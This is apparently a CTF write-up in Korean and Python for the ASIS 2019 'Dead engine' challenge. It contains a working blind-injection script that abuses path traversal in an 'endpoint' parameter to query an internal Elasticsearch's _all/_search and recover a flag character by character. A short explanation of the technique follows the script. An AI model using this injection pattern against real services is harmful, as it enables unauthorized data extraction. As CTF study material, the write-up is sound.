[ASIS CTF] Elasticsearch NoSQL Injection

2019-04-28   |   by munsiwoo
import requests
# Elasticsearch NoSQL Injection - ASIS 2019
# made by munsiwoo

if __name__ == '__main__' :
    url = 'http://192.241.183.207/index.php?action'
    headers = {'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'}
    data = 'q=fuck&endpoint=../../../../_all/_search?q={}%23'

    flag = '?'*32
    flag = 'x'.join(flag).split('x') # flag length : 32

    for x in range(32) :
        for y in 'abcdef0123456789' :
            flag[x] = y
            result = requests.post(url, data=data.format(''.join(flag)), headers=headers).text
            if 'Flag Is Here, Grab it :)' in result :
                break
            print('ASIS{' + ''.join(flag) + '}')

    print('----------------------')
    print("flag : ASIS{" + ''.join(flag) + '}')
    print('----------------------')


ASIS CTF에 나왔던 Dead engine이라는 문제다, Elasticsearch 환경에서 SQL Injection을 통해 플래그를 획득하는 문제며 Elasticsearch는 처음 다뤄봐서 열심히 검색해서 풀었다. 풀이글은 페이로드 저장겸 올려본다.

문제 구조는 PHP + Elasticsearch 조합으로, 사용자 입력은 qendpoint이렇게 2개의 입력을 받는다. q“abcd”, endpoint“/articles/_search” 이렇게 넣어주면 내부에서는 Elasticsearch가 열려있는 9300포트 http://localhost:9300/articles/_search?q=abcd로 요청하여 결과를 가져오는 구조였다.

즉, endpoint를 조작해주면 “/articles/_search” 말고 다른 테이블에 접근이 가능했으며 _cat이라는 키워드를 이용해 다른 테이블의 이름, 존재 유무 등을 확인할 수 있었다. 따로 다른 테이블을 알아내지 못하더라도 _all/_search에서 검색하면 모든 테이블을 대상으로 값을 검색할 수 있었고 와일드카드 ?로 개수를 맞춰 Flag Is Here, Grab it :)가 출력되는 결과에 따라 True, False로 구분해 Blind SQL Injection으로 플래그를 획득했다.

About Post Author

munsiwoo

CTFer, Web hacking researcher

Leave Your Comment